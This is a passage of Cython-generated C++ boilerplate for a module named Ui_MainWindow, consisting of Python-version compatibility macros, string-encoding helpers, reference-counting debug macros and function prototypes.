CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__Ui_MainWindow #define __PYX_HAVE_API__Ui_MainWindow #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "Ui_MainWindow.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE 